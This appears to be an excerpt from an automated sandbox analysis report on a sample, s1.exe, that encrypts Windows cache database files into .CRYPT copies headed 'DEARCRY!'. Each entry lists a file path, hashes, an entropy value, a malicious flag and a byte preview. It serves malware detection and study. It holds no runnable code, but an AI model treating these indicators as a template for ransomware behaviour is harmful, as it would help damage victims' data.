                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000016.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):106008
                                                              Entropy (8bit):7.99850236146213
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:9517CA24C3C66108EA669DCA6809465A
                                                              SHA1:A1A25FEF02D3836FE155A5900E17FF446B48CD1D
                                                              SHA-256:A43B542A7A0461F8F02C718BD5B08C89B91F183A8A1301BF8444A163A5F8CD50
                                                              SHA-512:4F3A96CB9DE7CD5A832587A4943FB45923B9C105FD66FCACAE3517CB03CD34CAD9E4F9F90524E9532E27883FBA5AEB222C82812A7EB7B7BED32B2F836E51E891
                                                              Malicious:true
                                                              Preview: DEARCRY!....*...rb....I%..k!.(..nc.S..._K\;....P.+5.(.....Ew...>.(...}..W#.,N%H.M.O.Nx.&\f.@.....$.....R.]......=...U.*...JB1ii...$..Y..o.Ibq..............rn_D.SY.M.w.........O..3.,..3K.G:.....B..d>M..d....0.E.BR}O...4K...A/G..0.[\)...'.?%B.0.x....rh............$d.r?.x.9....o..!uloo.&.~c~..M.}.g....Q!..u....y.$....?..0.ikL..s.....9.!.Nh.eEoIVFn...f3.....}x...a....K..E.J.......<....D...7...!.d.-5z..#O.......M.[.@cL..EQ......{...2.O..D.A}'....(%.3.n.......~.0...mn...A......I.P=q.A*...}x....F.......K..I...#.z....7.PZ.l....u>\..0.o..{F_WG".....d...3..4/...q...H..Qa.EI.h4.3.g.......B-(.....f>.K.X.W$...E..TY...,-P.`J.Y.$N..(.(.S...............S...?....Tl... ..f..L...~yw.S`/.%2.'....Jn...H.v..)~....rY...q.w:.`.....1.....o.E..o..}.1.Ou!0>.5..m...{.h..1..#..zj......h[f.+'...l...<...g.w..<.5.x.T......Rh#-y..t.....z..^.K.P....+.ma.3..k.&.a0...7@..)3....G.&v........m...z...M.d.;+....-..........q....P...BJ\0.X.5J....!..n%LJ9.>.*.?.f.M.i8..1.....
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000018.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):104472
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A1D9E74B0664FF978219F3B13BAD0DAB
                                                              SHA1:B0F62411A688414BBF23033466F5D00A1E501019
                                                              SHA-256:523797DC2E1802F9208D2A5AD48786979D7D082E5D2B77478007D4CD89E07507
                                                              SHA-512:47974A6F61CE1C8A004753951E6138066B6AC911969BBEAE5312C9AE1B9EECA2D03EF17AB51E2474F7A18E9CDF0CC8C913C11935B141DE54020F1B70A569251C
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000018.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):104760
                                                              Entropy (8bit):7.998201278276453
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:7C4475E821858DCC592E7EF2ADFA5F31
                                                              SHA1:32B457AE9EBF46A1732F8551FF6960A0D997B3E6
                                                              SHA-256:7DEF5F8225F8AEE4F284BE03411ED53CBE96F2E606E6693466358490CE3BDA87
                                                              SHA-512:E6688FFFE662D8C54E30711E435FB85829648CB02D13EB75B98E9AE7366BEFFBAE9217EDB6BA0A49FB481021AE44822F5CEACA650B0F67BEA17808D96FCDDD07
                                                              Malicious:true
                                                              Preview: DEARCRY!....S..$..-u.=.k.~no.t....lF@.FX..<..P..J.7....;P.T..&..N.B..m.e.V...v.=M>.y.V.X..CD....]l.|.w..76..<.(.3C1...z....,..t.Wb......d.K.+2.G2{.......j....a=..}...d..o....~..H.. 2.....2...h....I..1.......Q.#....s,..1[.e.d1b.iqK.....x.Ud.....GM!?pNW>].j.................F.S.....>...(.q.9.?..hE.X.0..........^C*..U.... .:$(r..G.4.0.....@S../..Q..d.[......(...X.MTw..,.A.Q8...x....{d.8....#h.j.a.C...).].j.g.......%7..1.....^"6/....y..+....X.#..$.$I...;/R.f,Z.`Ou.}9.|.].u.&.T-..k......q...U......ze.)...Bt..B.w..U..k.Z.:....m.4..M.).*n."...;..u...3.j..gZEx...Z".]..g~z._..t..........F.."..N...w.Mq8cY.......#k.............EQi..q[..h....F]VT..].w*..1..H.WM.[.(=.26g...B2..V.&.....[....h...J..Y..!O..kg..4..#.......:".6..Yy..h......*.....|..`.d...a.@.@..W..B......W..!.M?uh.J"n.......O.C..s.5:..T.7.8a....5.R....k... .F.9..9.R.Ea.....=a#8.....'.....q.@1.]PT..p.C.....Y......-...n[..O.........Lep.W.6=.8....N.L.<5..e.7...X...)P.[.E..$<IU.."!Y;.
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000019.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):105288
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0AEC65AF2D324EEB78EEDC5B83066478
                                                              SHA1:140203238F753D669DF78E06520758002214E609
                                                              SHA-256:21C979A11FD06AF1FEC36772F6B6D23B4F026A6BFE7AF54F01B5B9D085CF78E6
                                                              SHA-512:66204A2DAFBCA16C7D7C1AF706B543C51F6244054C6AFBF679917881362A2BFAFFDAB29BAE1F32854A8F6AE09AEC78E657FBA088319CF95707E65994F81AC8C1
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000019.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):105576
                                                              Entropy (8bit):7.998221698693513
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:4D39615A7A867609F0708D770CFC3B6C
                                                              SHA1:5D6BC22197FB122742B5DEA84357733D06AC5807
                                                              SHA-256:67DD3253655C38A76CD65315979B712377ED554A7E133D925E674D2515C4CB8E
                                                              SHA-512:FDE90F18E50F14465D97CC75C3F25FAB32AB040C77D48AFC99F63F70396EBBA54EFF5A5FF301C9F2091602BE964E282F5E5DD8F4D4E46CFD47EE02F26B6B4D0E
                                                              Malicious:true
                                                              Preview: DEARCRY!.....G.V.<1.u..H.Q..i..-...vrd..XB.m!X.,..........X....R.j......O..1s._.`5i.w&+.E..Jd..(......^Ob....R...%c]..3....RC...^8..x........Hz..X..Q. ...3Y..2.{..I.?{.5.]Oh9./................<. .......M..h..ZE..sAW.;..[B..@.(d]....?Fv.t.9....R..S...S..!..(..9.......H........A?d..;n.....S........}l....s...!!....}.31.?3..W..}QA.l.A......T.....n<@...^X.....dP|u.e`.....R._.Z+..[f...~&\/....p.]....@...6..uJ.......H-..z..@:..d..........[.e.V........ [.$G=....F.P.|-....l.k...Q:.^....`$.\<*{..m.X....|..W.'...09.$.....d.YF.!.Y.R......I.;~..e.H.*^.s..A..7C.|i.N..C......W.....EmP.k.F.QGeP.U.....6UCC...g..-/...tF>o...z.=.o[.|]k3(.v_..j..5.....+..V'..JT..K,V...Hei..K..S.............w......~A....]..d.G&a.......!. .}.t....d..N....Y.BO..@.U.2f*...'..U.R<..z..;..t0.<^..7..K.z..z...D].V.....@....W.....s...x......V.@...,........-..zDJ....- l...g"UC!.P.Z....\H(Vx8..L..l..N.60#..h..e..."y.+.1.Qm.%4t.8(.X./.....c....Z...].._...5.kLDZ...Uj.....J.!...hT.~...S.(m[....
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.3.ver0x0000000000000001.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):292576
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CD28110A14662DEEFABCF0D0D789A8D8
                                                              SHA1:DA2A48103088E938EC0B2D1F4AD74E6396F85996
                                                              SHA-256:32F73DDD9A1B1612AA62ACDE82FB54C140ECAFEB3B8B82FED2C54A175F2BFFD3
                                                              SHA-512:EB45CB8C4FFC157390328E419F75C3530F7AE8C7CBAD16EA5358CE1E40B2A52F35919747450EDA0135D9219AB216679971884BADDE617A0CE69C3F81F5D496CA
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.3.ver0x0000000000000001.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):292872
                                                              Entropy (8bit):7.99934394836217
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:4BEC220471D22BA9797CEEB99B178390
                                                              SHA1:B3041341D3E9871E3B66BC2887F6CE3299FB374C
                                                              SHA-256:A59977CDA9875844E6A168876F400085AC4D03212C8B258ED7FE02C5CADEE141
                                                              SHA-512:CA5EBA346B3DE63AE57E1CE8DD9B3A63280986A8E329F0291F66E0893DAFB978382F76882750C6CF60B8C52CC9FC2B6B3783594C42E6293DCA20CC9877C7F0D0
                                                              Malicious:true
                                                              Preview: DEARCRY!....p..3..$j.....R|..-..f.....fp....q.....T-..`.i.P!S.^K..A....a..B....z .D.Dh.}u..}rR......*.#q$'......N.*.V .1.....j..c[4....~.00..,"3.N0......+H......B@w$....>r..k-.5.>.G....D.....S.1{.;dL.....(.X.....?......Y..3...2.e........g.i...]Y.vS......O.....v.......G..g..X...B.I.....<..(.......QqA.@.s....n.t.>...;kM.p.3.2.1......"....8R.].p.....L.r.n......+e.R16...k..E.HH.7+........Dv.......hW.~BlZ....q.....D.N4j.i..56..../..;.'2.E.e.+..#..."j?$^....[.....v.ru{......NjW.n..rq^....P..|.&.x.u.H.Hr.....p|}...-8=;@-oB.....Y.uJa.`.+...d.d..E..._.....v..x....y.|........!~......^.,.|T...DI......k.z^<.w..D$..o>H.....W.......5.S=2.(.k..zwj...'.N......~<./.>!4...v...x.wBR....F/.....{.M..~....wP.~......|,.37EZ]tT...N,a.9..ey........ex.jZ../1*...Qb=8.:...yl},.1..l..|O3.c.$.x....2{;P..k.X..-B...?a.?~.....|..FZ...-.fm..'..u.o.{....pq"......F..#.SG.iP.J.EW.c-^.>..C..L,.,s.+YP&..v._.l...UF...][.^/.......[.......wM..u../5..Q7.9-.........!.1.<.&.....,o.7.
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):102864
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:879D408E28F7A027E75D81C827D86732
                                                              SHA1:753E13E29693843204F7135E865D8321A01CCD64
                                                              SHA-256:9D7E0F5904FA615F4026F7B0A9AE1439595B65DE0778DFD838B0940CCA7A230E
                                                              SHA-512:F2BA59F844950977D06156EB553ACFE59D52707DA4AB0E2B88A720FE7103BB09751899E77D7702CD5931CBEF9AFB07727DB8FDBAD77A4B96F699322E273D02CF
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):103160
                                                              Entropy (8bit):7.998389135728562
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:EFACB6DB1C70530862844E37EE8F1455
                                                              SHA1:F054882E221E6FCA850EB66733403DA287B611DF
                                                              SHA-256:778CF063AE83AC7FDF5A571727D192178FA13F9CC54B038490648EE4FB5098A9
                                                              SHA-512:A9401654DC6FC9DAC897B52EC2A1BD06F319DA5A2EA417AF0E503A7166490FA57334C952089E6E97FE913E5EA4A5AB05B54BD0B36C3E249A338950D2A30ACDD3
                                                              Malicious:true
                                                              Preview: DEARCRY!....'NS&.....QG_..e..;..*R..O.b..i#,J..+.A..+.$<.iVX."`..3u.>.n1...p.l...j.x{..i(.ycV^..0..&Z&.....n.Yq?..Y ....p....L=..YR`f...eMa.|...../.b$4........AW.....h...jjG..L..b..tu......g...^...+H.{....;+.4.<.%"Ww4.r'cg.)..%%L|...I...-..(:..}..`G..j.\..%.@.6.............Id..'...&4.a.C>x=.=.zK`...........y...#....y......9......8.r..5QN....B4+...01a..=..9...ca..p.......*Q..?.U.4Y.}m...S.d...M...|n. ....%-/...]e...!..wT...n.= .5......2...M..=. ...|\...K.d...8...w.i.6.......+np....|&-.."....[..`.q..Eo..=./B..3...b.!Wz8.....v...1.w{.p..kz...\1Y....:%R.......x...|9...R[?..3&..........S.v......F.^o..v.)..bVt;.O.1(..m?..Eq5......y.%.>.el."....H....J*..s-<...^.0....(.$. .-.a..N6.....'2>t....".i.._.....QW.J...9(..X....*L%.....w.!e.....}y..e.Z..3f...B.^...P..'...*<........2.V..:.....}.7 ..E..y.~..L.Zq......1+.M.....L2.Q....o.8M.J.{...A....orX._(h.)..w!".....gb....q,.7.a..:.[j..oZ..........x..W.g.R~6...{.....UM.&-...*.z..5R.).s..+..}Jvx8.V.t.]!.v...v...
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):115072
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:FBB6459881A10334179505BADC98C31A
                                                              SHA1:A5CFE685C5A1BBB11235681F4EDF0875A1FEA5C3
                                                              SHA-256:341247F8C1D3232ED3BBEE9C2D257AA4592ED4B61F7741B66B7DCA0FDF4EC76B
                                                              SHA-512:4CB8392B991621BCF05ECE358CE39CCFB98A7670F6E4BBCC1AFEDE161D7FEDDEA3EF572276AFC91F926E0A72BB8B3BC528087281E5F2C1529637B20F8D578671
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):115368
                                                              Entropy (8bit):7.998406117324726
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:D26CCFBD197E20ABCE8BE065BB598AB0
                                                              SHA1:71824C8702A90A03D4685064EE8EFE8AD262D939
                                                              SHA-256:B05354D79B80ADF8C3462F316554860EEE496DA07EAC62A4D4B6EF7A857410FC
                                                              SHA-512:2A54EFCAE55FAE551B110E7AEE95A2D08CDE7D116897AAE1785F7B928CF7B4A83D78C4B1A314882BD44CEB732C8BC3FFE8EF873B428586B9416C2E08FE8365F0
                                                              Malicious:true
                                                              Preview: DEARCRY!......z..(2..VuI0.2....._.....\x..r.s.G...Q......?...#...k...>....2.7.D...BD .../...].+...]..I.F.V...T.T.XQ9c.F..o%.....4.....D......O.]..._..bl...`....2.....X.*.#~,...4I........E....6.(...`wF}l{...nu....>.H......:..U.G..=T...7..+#.v-.S..f...h.3L&.............~.....e.............i.@z.0.dUk...,.#X..54{.:U.A...H..U..;..hQ......5aj..8..O.../_+%S.....(#..LU....8...8cR<.../".1... M..'F.........Y$..q..~....Ft..d.`<.........8..<.....)r..f.".L......0..'.,..b..ijB...V&..4b.....(....[...*..n,D...r.:.W..y.......h.c..M..W.Z...S..+8....26wT....N..=.....i..|....5..\.1K\.t;i....a..6.@...g.(..(.T.....~V..?..#.*..C*X....B.n!G.;..y..N.jC.3.C^..?.s.[&..[..#...~.'.<...X. @.pE../...\5.`....FK......i......E.CW1...[......u..2Y..{.P.~y....`a.t....h..^.$4).mRt<...vG#......o.y...IZ._..W.1^...A...f.N*.+...=g......IRL.+W.......3O^.Lv.f..+..}.z#*.-...9....a...;...g<:.+0?...2T...(!..V.S...2K..V+].AO..0.6....k.V......[z."n....%...Q.l......].......
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\NotifyIcon\Microsoft.Explorer.Notification.{F3021280-8B71-AE51-7BF9-DAA692344272}.png
                                                              Process:C:\Windows\explorer.exe
                                                              File Type:PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
                                                              Category:dropped
                                                              Size (bytes):685
                                                              Entropy (8bit):7.574420459296215
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:089E722D4905CA6D6C817FED5EEB8C73
                                                              SHA1:DE72D2CD21E7CDC6ABFEB1DC60EFB79969E1379E
                                                              SHA-256:7595D019957F2A499B8A44CE33A4049D4021BB8799B4E3F6D5A8BAB9DBCDF589
                                                              SHA-512:E7E7709C963910B7BFC2ECBAA48D3F3177FEF5D45AA7A8B324860C899077DBC807895D5F75DD4AE96B55C3C37A6F9978D96A86C36ED5A3849B9E2B708FD2945F
                                                              Malicious:false
